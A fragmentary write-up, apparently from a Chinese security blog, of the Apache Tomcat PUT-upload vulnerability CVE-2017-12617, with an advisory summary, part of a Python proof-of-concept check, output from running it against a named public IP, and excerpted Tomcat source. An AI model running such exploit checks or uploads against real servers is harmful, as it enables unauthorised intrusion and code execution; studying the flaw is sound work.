When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
poc_content = requests.get(url = poc_path,verify = False).content if("CVE-2017-12617" in poc_content): print("CVE-2017-12617 exsits in this target!") else: print("No CVE-2017-12617 in this target!")
结果:
1 2 3 4
# python CVE-2017-12617.py -u http://47.100.18.67 -p 8080 --choice verify ('target:', 'http://47.100.18.67:8080') http://47.100.18.67:8080/test.txt CVE-2017-12617 exsits in this target!
// Temp. content file used to support partial PUT File contentFile = null;
Range range = parseContentRange(req, resp);
InputStream resourceInputStream = null;
// Append data specified in ranges to existing content for this // resource - create a temp. file on the local filesystem to // perform this operation // Assume just one range is specified for now // 得到put请求的内容 if (range != null) { contentFile = executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); } else { resourceInputStream = req.getInputStream(); }